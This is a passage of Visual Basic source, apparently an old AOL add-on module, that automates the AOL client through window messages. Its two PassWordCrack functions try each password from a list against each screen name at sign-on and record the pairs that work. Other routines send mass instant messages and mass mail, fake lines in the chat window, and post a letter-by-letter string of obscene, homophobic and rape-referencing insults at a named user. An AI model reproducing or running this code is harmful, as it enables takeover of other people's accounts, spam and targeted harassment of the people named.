timer 'also it blocks the person that sent a mesage On Error Resume Next aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, ">Instant Message From:") tit2% = findchildbytitle(mdi%, " Instant Message From:") If TIT% <> 0 Then TName$ = SNfromIM closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&) Call InstantMessage2(TName$, Message, 0.5) 'gonna make it oen a new one ElseIf tit2% <> 0 Then TName$ = SNfromIM closeit = SendMessage(tit2%, WM_CLOSE, 0, 0&) Call InstantMessage2(TName$, Message, 0.5) End If End Function Function IMUnIgnore(Who As String) Call InstantMessage2("$im_on " & Who, Plug, 0.5) Do: DoEvents win% = FindWindow("#32770", vbNullString) If win% <> 0 Then Exit Do Loop closeit = SendMessage(win%, WM_CLOSE, 0, 0&) aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, "Send Instant Message") closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&) Call ClearKeyWord End Function Function IMIgnore(Who As String) Call InstantMessage2("$im_off " & Who, Plug, 0.5) Do: DoEvents win% = FindWindow("#32770", vbNullString) If win% <> 0 Then Exit Do Loop closeit = SendMessage(win%, WM_CLOSE, 0, 0&) aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, "Send Instant Message") closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&) Call ClearKeyWord End Function Function massim(lis As ListBox, Message As String) aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, "Send Instant Message") Rich% = FindChildByClass(TIT%, "RICHCNTL") Icona% = FindChildByClass(TIT%, "_AOL_Icon") For X = 0 To lis.ListCount Call InstantMessage2(lis.List(X), Message, 1) Wait (0.5) If TIT% <> 0 Then closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&) End If Wait (0.5) Call ToImKill Next X End Function Function MassIm2(lis As ListBox, Message As String) 'this version adds the "What up" and there 'screen name aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, "Send Instant Message") Rich% = FindChildByClass(TIT%, "RICHCNTL") Icona% = FindChildByClass(TIT%, "_AOL_Icon") For X = 0 To lis.ListCount Call InstantMessage2(lis.List(X), "What up " & lis.List(X) & " " & Message, 1) Wait (0.5) If TIT% <> 0 Then closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&) End If Wait (0.5) Call ToImKill Next X End Function Function MassIm3(lis As ListBox, Message As String) 'this version adds the "What up" and there 'screen name but takes #'s off the screen name 'so instead of "What up John4516" itll say '"What up John" ,told ya that would come in handy aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, "Send Instant Message") Rich% = FindChildByClass(TIT%, "RICHCNTL") Icona% = FindChildByClass(TIT%, "_AOL_Icon") For X = 0 To lis.ListCount Trimmed$ = TrimNumbers(lis.List(X)) Call InstantMessage2(lis.List(X), "What up " & Trimmed$ & " " & Message, 1) Wait (0.5) If TIT% <> 0 Then closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&) End If Wait (0.5) Call ToImKill Wait (0.5) Next X End Function Function MassIm4(lis As ListBox, Message As String) 'same as 3 except adds % done on bottom On Error Resume Next aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, "Send Instant Message") Rich% = FindChildByClass(TIT%, "RICHCNTL") Icona% = FindChildByClass(TIT%, "_AOL_Icon") Dim perc As Integer For X = 0 To lis.ListCount Trimmed$ = TrimNumbers(lis.List(X)) I = 100 / lis.ListCount perc = I * X Call InstantMessage2(lis.List(X), "What up, " & Trimmed$ & " " & Message & Chr(13) & Chr(9) & " " & perc & "% Done", 1) Wait (0.5) If TIT% <> 0 Then closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&) End If Wait (0.5) Call ToImKill Next X End Function Function MassMail(lis As ListBox, Subj As String, Message As String) First$ = lis.List(0) For X = 1 To lis.ListCount Names$ = Names$ & lis.List(X) & "," Next X Call MyMailx(First$, Names$, Subj, Message) End Function Function PassWordCrack(NameList As ListBox, PWList As ListBox, Cracked As ListBox) 'example: Call PassWordCrack(list1,list2,List3) Dim ChkEven Dim Times, Pass, name As Integer If OnlineOrNot = True Then MsgBox ("Must be OffLine for this feature.") Exit Function End If ChkEven = (PWList.ListCount / 2) 'check to see if its even If InStr(ChkEven, ".") <> 0 Then 'look for . in .5 PWList.AddItem "default" 'add item to make list even End If 'please leave this code, uneven listboxes will cause error For name = 0 To NameList.ListCount - 1 'Take next name in list For Pass = 0 To PWList.ListCount - 1 Step 2 'Take next Password from list Do: DoEvents If OnlineOrNot = True Then 'CRACKED!!!!!!!!!!!!!!! Cracked.AddItem "sn=" & NameList.List(name) & " pw=" & PWList.List(Pass) Call signoff End If aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") tit1% = findchildbytitle(mdi%, "Sign On") tit2% = findchildbytitle(mdi%, "Goodbye from America Online!") If tit1% <> 0 Then TIT% = tit1% ElseIf tit2% <> 0 Then TIT% = tit2% End If Combo% = FindChildByClass(TIT%, "_AOL_Combobox") Edi% = FindChildByClass(TIT%, "_AOL_Edit") Icona% = FindChildByClass(TIT%, "_AOL_Icon") If Combo% <> 0 And Icona% <> 0 Then Exit Do Loop ''''''''''''''''''''''''''''''''''''''''''''''''' X = SendMessage(Combo%, WM_LBUTTONDOWN, 0, 0&) X = SendMessage(Combo%, WM_LBUTTONUP, 0, 0&) X = SendMessage(Combo%, WM_LBUTTONDOWN, 0, 0&) X = SendMessage(Combo%, WM_LBUTTONUP, 0, 0&) If Edi% <> 0 Then For I = 1 To 6 X = SendMessageByNum(Combo%, WM_KEYDOWN, VK_RIGHT, 0) X = SendMessageByNum(Combo%, WM_KEYUP, VK_RIGHT, 0) Wait (0.2) Next I End If Icona% = GetWindow(Icona%, GW_HWNDNEXT) Icona% = GetWindow(Icona%, GW_HWNDNEXT) SignOn = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&) SignOn = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&) ''''''''''''''''''''''''''''''''''''''''''''''''' Call WaitForModal Wait (0.2) Modal% = FindWindow("_AOL_Modal", vbNullString) stat% = FindChildByClass(Modal%, "_AOL_Static") iconb% = FindChildByClass(Modal%, "_AOL_Icon") Edi% = FindChildByClass(Modal%, "_AOL_Edit") edi2% = GetWindow(Edi%, GW_HWNDNEXT) edi3% = GetWindow(edi2%, GW_HWNDNEXT) '''''''''''''''''''''''''''''''''''''''''''''''''' MainName$ = NameList.List(name) NameList.Selected(name) = True CurrPassword$ = PWList.List(Pass) PWList.Selected(Pass) = True fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, MainName$) 'Write current name fillit = SendMessageByString(edi3%, WM_SETTEXT, 0, CurrPassword$) 'Write next password '''''''''''''''''''''''''''''''''''''''''''''''''' clickit = SendMessage(iconb%, WM_LBUTTONDOWN, 0, 0&) clickit = SendMessage(iconb%, WM_LBUTTONUP, 0, 0&) Wait (1) an% = FindWindow("#32770", vbNullString) Wait (0.4) If an% <> 0 Then X = SendMessage(an%, WM_CLOSE, 0, 0&) CurrPassword2$ = PWList.List(Val(Pass) + 1) PWList.Selected(Val(Pass) + 1) = True Wait (0.5) fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, MainName$) 'Write current name fillit = SendMessageByString(edi3%, WM_SETTEXT, 0, CurrPassword2$) 'Write next password clickit = SendMessage(iconb%, WM_LBUTTONDOWN, 0, 0&) clickit = SendMessage(iconb%, WM_LBUTTONUP, 0, 0&) Wait (0.5) If an% <> 0 Then X = SendMessage(an%, WM_CLOSE, 0, 0&) End If End If Wait (0.5) Next Pass 'Take next password, hold same name Next name 'Password list done, take next name End Function Function PassWordCrack2(NameList As ListBox, PWList As ListBox, Cracked As ListBox) 'example: Call PassWordCrack2(list1,list2,List3) Dim ChkEven Dim Times, Pass, name As Integer If OnlineOrNot = True Then MsgBox ("Must be OffLine for this feature.") Exit Function End If ChkEven = (PWList.ListCount / 2) If InStr(ChkEven, ".") <> 0 Then PWList.AddItem "default" End If For name = 0 To NameList.ListCount - 1 For Pass = 0 To PWList.ListCount - 1 Step 2 Do: DoEvents If OnlineOrNot = True Then 'CRACKED!!!!!!!!!!!!!!! Cracked.AddItem "sn=" & NameList.List(name) & " pw=" & PWList.List(Pass) Call signoff End If aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") tit1% = findchildbytitle(mdi%, "Sign On") tit2% = findchildbytitle(mdi%, "Goodbye from America Online!") If tit1% <> 0 Then TIT% = tit1% ElseIf tit2% <> 0 Then TIT% = tit2% End If Combo% = FindChildByClass(TIT%, "_AOL_Combobox") Edi% = FindChildByClass(TIT%, "_AOL_Edit") Icona% = FindChildByClass(TIT%, "_AOL_Icon") If Combo% <> 0 And Icona% <> 0 Then Exit Do Loop ''''''''''''''''''''''''''''''''''''''''''''''''' X = SendMessage(Combo%, WM_LBUTTONDOWN, 0, 0&) X = SendMessage(Combo%, WM_LBUTTONUP, 0, 0&) X = SendMessage(Combo%, WM_LBUTTONDOWN, 0, 0&) X = SendMessage(Combo%, WM_LBUTTONUP, 0, 0&) If Edi% <> 0 Then For I = 1 To 6 X = SendMessageByNum(Combo%, WM_KEYDOWN, VK_RIGHT, 0) X = SendMessageByNum(Combo%, WM_KEYUP, VK_RIGHT, 0) Wait (0.2) Next I End If Icona% = GetWindow(Icona%, GW_HWNDNEXT) Icona% = GetWindow(Icona%, GW_HWNDNEXT) Icona% = GetWindow(Icona%, GW_HWNDNEXT) SignOn = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&) SignOn = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&) ''''''''''''''''''''''''''''''''''''''''''''''''' Call WaitForModal Wait (0.2) Modal% = FindWindow("_AOL_Modal", vbNullString) stat% = FindChildByClass(Modal%, "_AOL_Static") iconb% = FindChildByClass(Modal%, "_AOL_Icon") Edi% = FindChildByClass(Modal%, "_AOL_Edit") edi2% = GetWindow(Edi%, GW_HWNDNEXT) edi3% = GetWindow(edi2%, GW_HWNDNEXT) '''''''''''''''''''''''''''''''''''''''''''''''''' MainName$ = NameList.List(name) NameList.Selected(name) = True CurrPassword$ = PWList.List(Pass) PWList.Selected(Pass) = True fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, MainName$) 'Write current name fillit = SendMessageByString(edi3%, WM_SETTEXT, 0, CurrPassword$) 'Write next password '''''''''''''''''''''''''''''''''''''''''''''''''' clickit = SendMessage(iconb%, WM_LBUTTONDOWN, 0, 0&) clickit = SendMessage(iconb%, WM_LBUTTONUP, 0, 0&) Wait (1) an% = FindWindow("#32770", vbNullString) Wait (0.4) If an% <> 0 Then X = SendMessage(an%, WM_CLOSE, 0, 0&) CurrPassword2$ = PWList.List(Val(Pass) + 1) PWList.Selected(Val(Pass) + 1) = True Wait (0.5) fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, MainName$) 'Write current name fillit = SendMessageByString(edi3%, WM_SETTEXT, 0, CurrPassword2$) 'Write next password clickit = SendMessage(iconb%, WM_LBUTTONDOWN, 0, 0&) clickit = SendMessage(iconb%, WM_LBUTTONUP, 0, 0&) Wait (0.5) If an% <> 0 Then X = SendMessage(an%, WM_CLOSE, 0, 0&) End If End If Wait (0.5) Next Pass 'Take next password, hold same name Next name 'Password list done, take next name End Function Function Bot_Request() 'use in a timer, in a button send to chat that 'the bot is on and what your requesting 'then turn the timer on ,ex. timer1.enabled = true Dim Nam As String Dim txt As String Dim lst As String Nam$ = LastLineSN txt$ = LCase(LastLineText) lst$ = List1 If txt$ = "/i got it" Then Call ErrorRsenD("<font face=aria></b></i><Font Color=#FF0000>[<u>nam$ -can you send?</font>") Wait (0.5) End If End Function Function ChatManipulate(Who As String, Wat As String) 'this manipulates to the top of the screen ;o( 'yea i know but 4.0 wont let ya do it on the bottom 'i tried hard ,,Very hard.. Dim Chil%, Rich%, X Chil% = FindChat Rich% = FindChildByClass(Chil%, "RICHCNTL") X = SendMessageByString(Rich%, WM_SETTEXT, 0, Who & ":" & Chr(9) & Wat) End Function Function ChatRespond(LookFor As String, Response As String) txt$ = LastLineText Nam$ = LastLineSN If InStr(LCase(txt$), LCase(LookFor)) Then gotone$ = Nam$ If gotone$ = GetUserSn Then Exit Function End If Call SendChat(gotone$ & " " & Response) Wait (0.5) End If End Function Function ChatRespond2(LookFor As String, Response As String) 'this one will respond even if its you 'obviously with this one dont add the string 'that your looking for in the response 'ie. dont do this-- Call ChatRespond2("HI","HI MAN") 'or else itll scroll txt$ = LastLineText Nam$ = LastLineSN If InStr(LCase(txt$), LCase(LookFor)) Then gotone$ = Nam$ Call SendChat(gotone$ & " " & Response) Wait (0.5) End If End Function Function ClearKeyWord() 'this is a function for me to clear the 'keyword textbox after writing to it aol% = FindWindow("AOL Frame25", vbNullString) tool% = FindChildByClass(aol%, "AOL Toolbar") toolb% = FindChildByClass(tool%, "_AOL_Toolbar") Comb% = FindChildByClass(toolb%, "_AOL_Combobox") Edi% = FindChildByClass(Comb%, "Edit") fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, "") End Function Function InRoom() As Boolean 'checks to see if there in a room 'no loop, good for use on advertising 'sometimes a program will freeze if there 'not in a room an u tell it to advertise Dim Chil% Dim inRoomTF As Boolean Chil% = FindChat If Chil% <> 0 Then inRoomTF = True Else inRoomTF = False End If InRoom = inRoomTF End Function Function AOL30_MailSend(Who, Subj, Wat) aol% = FindWindow("AOL Frame25", vbNullString) Call RunMenuByString(aol%, "&Compose Mail") Do: DoEvents mdi% = FindChildByClass(aol%, "MDIClient") Titl% = findchildbytitle(mdi%, "Compose Mail") Icona% = FindChildByClass(Titl%, "_AOL_Icon") Edi% = FindChildByClass(Titl%, "_AOL_Edit") Rich% = FindChildByClass(Titl%, "RICHCNTL") If Titl% <> 0 And Icona% <> 0 And Edi% <> 0 And Rich% <> 0 Then Exit Do Loop FILL = SendMessageByString(Edi%, WM_SETTEXT, 0, Who) edi2% = GetWindow(Edi%, GW_HWNDNEXT) edi3% = GetWindow(edi2%, GW_HWNDNEXT) edi4% = GetWindow(edi3%, GW_HWNDNEXT) edi5% = GetWindow(edi4%, GW_HWNDNEXT) FILL = SendMessageByString(edi5%, WM_SETTEXT, 0, Subj) FILL = SendMessageByString(Rich%, WM_SETTEXT, 0, Wat) End Function Function ErrorRScreenNameDis(Nam As String) Call ErrorRsenD("Screen Name Disser now dissing " & Nam) Wait (0.5) For X = 1 To Len(Nam) lcse$ = LCase(Nam) letr$ = Mid(lcse$, X, 1) If letr$ = "a" Then Let dis$ = "<Font Color=#D40000><b>a -is for the animals your momma fucks": GoTo Dissem If letr$ = "b" Then Let dis$ = "<Font Color=#D40000><b>b -is for all the boys you love": GoTo Dissem If letr$ = "c" Then Let dis$ = "<Font Color=#D40000><b>c -is for the cunt you are": GoTo Dissem If letr$ = "d" Then Let dis$ = "<Font Color=#D40000><b>d -is for all the times your dissed": GoTo Dissem If letr$ = "e" Then Let dis$ = "<Font Color=#D40000><b>e -is for that egghead of yours": GoTo Dissem If letr$ = "f" Then Let dis$ = "<Font Color=#D40000><b>f -is for the way FreaK smackz ya": GoTo Dissem If letr$ = "g" Then Let dis$ = "<Font Color=#D40000><b>g -is for the pussy you never had": GoTo Dissem If letr$ = "h" Then Let dis$ = "<Font Color=#D40000><b>h -is for the whore your momma is": GoTo Dissem If letr$ = "i" Then Let dis$ = "<Font Color=#D40000><b>i -is for the idiotic dumbass you are": GoTo Dissem If letr$ = "j" Then Let dis$ = "<Font Color=#D40000><b>j -is for all the times you jerkoff to your dog": GoTo Dissem If letr$ = "k" Then Let dis$ = "<Font Color=#D40000><b>k -is for you self esteem that the cool kids killed": GoTo Dissem If letr$ = "l" Then Let dis$ = "<Font Color=#D40000><b>l -is for the lame ass you are": GoTo Dissem If letr$ = "m" Then Let dis$ = "<Font Color=#D40000><b>m -is for the many men you sucked": GoTo Dissem If letr$ = "n" Then Let dis$ = "<Font Color=#D40000><b>n -is for the nights you spent stick a night stick up your ass": GoTo Dissem If letr$ = "o" Then Let dis$ = "<Font Color=#D40000><b>o -is for the sex operation you had": GoTo Dissem If letr$ = "p" Then Let dis$ = "<Font Color=#D40000><b>p -is for the times people p on you": GoTo Dissem If letr$ = "q" Then Let dis$ = "<Font Color=#D40000><b>q -is for the queer you are": GoTo Dissem If letr$ = "r" Then Let dis$ = "<Font Color=#D40000><b>r -is for all the times |2eV raped your sister": GoTo Dissem If letr$ = "s" Then Let dis$ = "<Font Color=#D40000><b>s -is for your lover Steve Case": GoTo Dissem If letr$ = "t" Then Let dis$ = "<Font Color=#D40000><b>t -is for the tits youll never see": GoTo Dissem If letr$ = "u" Then Let dis$ = "<Font Color=#D40000><b>u -is for your underwear that you take shits on": GoTo Dissem If letr$ = "v" Then Let dis$ = "<Font Color=#D40000><b>v -is for the victories you'll see": GoTo Dissem If letr$ = "w" Then Let dis$ = "<Font Color=#D40000><b>w -is for the worm's you got up ur ass": GoTo Dissem If letr$ = "x" Then Let dis$ = "<Font Color=#D40000><b>x -is for all the lamers who" & Chr(34) & "[x]'ed" & Chr(34) & " you online": GoTo Dissem If letr$ = "y" Then Let dis$ = "<Font Color=#D40000><b>y -is for the question of, y your even alive?": GoTo Dissem If letr$ = "z" Then Let dis$ = "<Font Color=#D40000><b>z -is for zero which is what you are": GoTo Dissem If letr$ = "1" Then Let dis$ = "<Font Color=#D40000><b>1 -is for the only pussy you ever seen": GoTo Dissem If letr$ = "2" Then Let dis$ = "<Font Color=#D40000><b>2 -is for the 2 dollars you make an hour": GoTo Dissem If letr$ = "3" Then Let dis$ = "<Font Color=#D40000><b>3 -is for the amount of men your girl takes at once": GoTo Dissem If letr$ = "4" Then Let dis$ = "<Font Color=#D40000><b>4 -is for your mom buying crack off me": GoTo Dissem If letr$ = "5" Then Let dis$ = "<Font Color=#D40000><b>5 -is for 5 times an hour you whack off": GoTo Dissem If letr$ = "6" Then Let dis$ = "<Font Color=#D40000><b>6 -is for the years you been single": GoTo Dissem If letr$ = "7" Then Let dis$ = "<Font Color=#D40000><b>7 -is for the times your girl cheated on you..with me": GoTo Dissem If letr$ = "8" Then Let dis$ = "<Font Color=#D40000><b>8 -is for how many people beat the hell outta you today": GoTo Dissem If letr$ = "9" Then Let dis$ = "<Font Color=#D40000><b>9 -is for how many boyfriends your momma has": GoTo Dissem If letr$ = "0" Then Let dis$ = "<Font Color=#D40000><b>0 -is for the amount of girls you get": GoTo Dissem Dissem: Call ErrorRsenD(dis$) Wait (0.5) Next X End Function Function ChatFontSend(WatFont As String, txt As String) 'the font is Case Sensative so try using 'the idea i gave in the function to add 'Fonts to a filelistbox Call ErrorRsenD("<Font Face=" & Chr(34) & WatFont & Chr(34) & ">" & txt) 'to use this in a normal way use 'Call ChatFontSend("Wingdings", "blah blah blah") ' or Call ChatFontSend(text1.text, "blah blah blah") End Function Function GetRoomTitle() Dim RoomTit%, lent%, Titl%, Final$, Strn$ RoomTit% = FindChat lent% = GetWindowTextLength(RoomTit%) Strn$ = String$(200, 0) Titl% = GetWindowText(RoomTit%, Strn$, (lent% + 1)) Final$ = CStr(Strn$) GetRoomTitle = Final$ End Function Function GetClass(child) buffer$ = String$(250, 0) getclas% = GetClassName(child, buffer$, 250) GetClass = buffer$ End Function Function TextFromIm() 'gets text from ims On Error Resume Next aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, ">Instant Message From:") tit2% = findchildbytitle(mdi%, " Instant Message From:") tit3% = findchildbytitle(mdi%, " Instant Message To:") If TIT% <> 0 Then Rich% = FindChildByClass(TIT%, "RICHCNTL") SendNum = SendMessageByNum(Rich%, 14, 0&, 0&) Trimit$ = Space$(SendNum) last = SendMessageByString(Rich%, 13, SendNum + 1, Trimit$) Final$ = CStr(Trimit$) TextFromIm = Final$ ElseIf tit2% <> 0 Then Rich% = FindChildByClass(tit2%, "RICHCNTL") SendNum = SendMessageByNum(Rich%, 14, 0&, 0&) Trimit$ = Space$(SendNum) last = SendMessageByString(Rich%, 13, SendNum + 1, Trimit$) Final$ = CStr(Trimit$) TextFromIm = Final$ ElseIf tit3% <> 0 Then Rich% = FindChildByClass(tit3%, "RICHCNTL") SendNum = SendMessageByNum(Rich%, 14, 0&, 0&) Trimit$ = Space$(SendNum) last = SendMessageByString(Rich%, 13, SendNum + 1, Trimit$) Final$ = CStr(Trimit$) TextFromIm = Final$ End If End Function Function GetUserSn() 'a lot of people want the users name 'in lower case for some wierd reason 'to do that then x = LCase(AOL40GetUser) 'will make x = the lower case of the name and who said the hound dont help ya out aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") weltit% = findchildbytitle(mdi%, "Welcome,") lent% = GetWindowTextLength(weltit%) strin$ = String$(200, 0) Titl% = GetWindowText(weltit%, strin$, (lent% + 1)) SName$ = Mid$(strin$, 10, (InStr(strin$, "!") - 10)) GetUserSn = SName$ End Function Function InstantMessage(Who As String, Wat As String) 'this method doesnt kill the window that comes up 'if member isnt online, use method 2 for that Call Keyword("aol://9293:" & Who) Do: DoEvents aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, "Send Instant Message") Rich% = FindChildByClass(TIT%, "RICHCNTL") Icona% = FindChildByClass(TIT%, "_AOL_Icon") If TIT% <> 0 And Rich% <> 0 And Icona% <> 0 Then Exit Do Loop fillit = SendMessageByString(Rich%, WM_SETTEXT, 0, Wat) For I = 1 To 9 Icona% = GetWindow(Icona%, GW_HWNDNEXT) Next I clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&) clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&) End Function Function InstantMessage2(Who As String, Wat As String, HLong As Integer) 'this method kills the window if member isnt online 'ill let you pick how long the delay is 'for a one second delay before it looks for that window 'use Call InstantMessage2("user123","hey what up?",1) Call Keyword("aol://9293:" & Who) Do: DoEvents aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, "Send Instant Message") Rich% = FindChildByClass(TIT%, "RICHCNTL") Icona% = FindChildByClass(TIT%, "_AOL_Icon") If TIT% <> 0 And Rich% <> 0 And Icona% <> 0 Then Exit Do Loop fillit = SendMessageByString(Rich%, WM_SETTEXT, 0, Wat) For I = 1 To 9 Icona% = GetWindow(Icona%, GW_HWNDNEXT) Next I clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&) clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&) Wait (HLong) annoying% = FindWindow("#32770", vbNullString) If annoying% <> 0 Then closeit = SendMessage(annoying%, WM_CLOSE, 0, 0&) closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&) End If End Function Function OnlineOrNot() As Boolean 'for 4.0 aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = FindChildByClass(mdi%, "Welcome,") If TIT% <> 0 Then OnlineOrNot = True Else OnlineOrNot = False End If End Function Function Keyword(word As String) aol% = FindWindow("AOL Frame25", vbNullString) tool% = FindChildByClass(aol%, "AOL Toolbar") toolb% = FindChildByClass(tool%, "_AOL_Toolbar") Comb% = FindChildByClass(toolb%, "_AOL_Combobox") Edi% = FindChildByClass(Comb%, "Edit") fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, word) clickit = SendMessageByNum(Edi%, WM_CHAR, VK_SPACE, 0&) clickit = SendMessageByNum(Edi%, WM_CHAR, 13, 0&) End Function Function LastChatLine1() Dim Chil%, one$, Rich%, SendNum, Trimit$, last, LastLine$, Richcntl$ Dim I As Integer Chil% = FindChat Rich% = FindChildByClass(Chil%, "RICHCNTL") SendNum = SendMessageByNum(Rich%, 14, 0&, 0&) Trimit$ = Space$(SendNum) last = SendMessageByString(Rich%, 13, SendNum + 1, Trimit$) Richcntl$ = Trimit$ X$ = Richcntl$ For I = 1 To Len(X$) one$ = Mid(X$, I, 1) LastLine$ = LastLine$ & one$ If one$ = Chr(13) Then Let LastLine$ = "" Next I LastChatLine = LastLine$ End Function Function LastLineSN() Dim LastLine$, SnText$ LastLine$ = LastChatLine For X = 1 To Len(LastLine$) I$ = Mid(LastLine$, X, 1) If I$ = ":" Then Let I$ = "" Exit For End If SnText$ = SnText$ & I$ Next X LastLineSN = SnText$ End Function Function LastChatLineWithSN1() chattext$ = GetchatText For FindChar = 1 To Len(chattext$) thechar$ = Mid(chattext$, FindChar, 1) thechars$ = thechars$ & thechar$ If thechar$ = Chr(13) Then TheChatText$ = Mid(thechars$, 1, Len(thechars$) - 1) thechars$ = "" End If Next FindChar lastlen = Val(FindChar) - Len(thechars$) LastLine = Mid(chattext$, lastlen, Len(thechars$)) LastChatLineWithSN = LastLine End Function Function AOL30_LastLineSN() LastLine$ = AOL30_LastChatLine For X = 1 To Len(LastLine$) I$ = Mid(LastLine$, X, 1) If I$ = ":" Then Let I$ = "" Exit For End If SnText$ = SnText$ & I$ Next X AOL30_LastLineSN = SnText$ End Function Function LastLineText() Dim LastLine$, txt$ Dim I As String Dim X As Integer LastLine$ = LastChatLine For X = 1 To Len(LastLine$) I$ = Mid(LastLine$, X, 1) txt$ = txt$ & I$ If I$ = Chr(9) Then Let I$ = "" txt$ = "" End If Next X LastLineText = txt$ End Function Function AOL30_LastLineText() 'gives the lst line without the screen name LastLine$ = AOL30_LastChatLine For X = 1 To Len(LastLine$) I$ = Mid(LastLine$, X, 1) txt$ = txt$ & I$ If I$ = Chr(9) Then Let I$ = "" txt$ = "" End If Next X AOL30_LastLineText = txt$ End Function Function SendMailSpecial(Who, Subj, Wat) 'Same mail code as the other one except that 'this waits for the "Your mail has been sent" 'box to come up and closes it. For people who didnt 'change that preference, just as good but a little 'slower aol% = FindWindow("AOL Frame25", vbNullString) tool% = FindChildByClass(aol%, "AOL Toolbar") toolb% = FindChildByClass(tool%, "_AOL_Toolbar") Icona% = FindChildByClass(toolb%, "_AOL_Icon") Icona% = GetWindow(Icona%, 2) clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&) clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&) Do: DoEvents mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, "Write Mail") Edi% = FindChildByClass(TIT%, "_AOL_Edit") Rich% = FindChildByClass(TIT%, "RICHCNTL") If TIT% <> 0 And Edi% <> 0 And Rich% <> 0 Then Exit Do Loop fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Who) For n = 1 To 4 Edi% = GetWindow(Edi%, GW_HWNDNEXT) Next n fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Subj) fillit = SendMessageByString(Rich%, WM_SETTEXT, 0, Wat) For I = 1 To 22 Edi% = GetWindow(Edi%, GW_HWNDNEXT) Next I clickit = SendMessage(Edi%, WM_LBUTTONDOWN, 0, 0&) clickit = SendMessage(Edi%, WM_LBUTTONUP, 0, 0&) Wait (2) Modal% = FindWindow("_AOL_Modal", vbNullString) stat% = FindChildByClass(Modal%, "_AOL_Static") iconb% = FindChildByClass(Modal%, "_AOL_Icon") If iconb% <> 0 Then closea = SendMessage(iconb%, WM_LBUTTONDOWN, 0, 0&) closea = SendMessage(iconb%, WM_LBUTTONUP, 0, 0&) End If End Function Function MyMailx(Who As String, Copy As String, Subject As String, Mess As String) 'its called MyMail cause i use this for the 'mass mail function. its not exactly for you aol% = FindWindow("AOL Frame25", vbNullString) tool% = FindChildByClass(aol%, "AOL Toolbar") toolb% = FindChildByClass(tool%, "_AOL_Toolbar") Icona% = FindChildByClass(toolb%, "_AOL_Icon") Icona% = GetWindow(Icona%, 2) clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&) clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&) Do: DoEvents mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, "Write Mail") Edi% = FindChildByClass(TIT%, "_AOL_Edit") Rich% = FindChildByClass(TIT%, "RICHCNTL") If TIT% <> 0 And Edi% <> 0 And Rich% <> 0 Then Exit Do Loop fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Who) For n = 1 To 2 Edi% = GetWindow(Edi%, GW_HWNDNEXT) Next n fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Copy) For r = 1 To 2 Edi% = GetWindow(Edi%, GW_HWNDNEXT) Next r fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Subject) fillit = SendMessageByString(Rich%, WM_SETTEXT, 0, Mess) For I = 1 To 22 Edi% = GetWindow(Edi%, GW_HWNDNEXT) Next I clickit = SendMessage(Edi%, WM_LBUTTONDOWN, 0, 0&) clickit = SendMessage(Edi%, WM_LBUTTONUP, 0, 0&) End Function Function PrivRoom(RoomName As String) aol% = FindWindow("AOL Frame25", vbNullString) tool% = FindChildByClass(aol%, "AOL Toolbar") toolb% = FindChildByClass(tool%, "_AOL_Toolbar") Comb% = FindChildByClass(toolb%, "_AOL_Combobox") Edi% = FindChildByClass(Comb%, "Edit") fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, "aol://2719:2-2-" & RoomName) clickit = SendMessageByNum(Edi%, WM_CHAR, VK_SPACE, 0&) clickit = SendMessageByNum(Edi%, 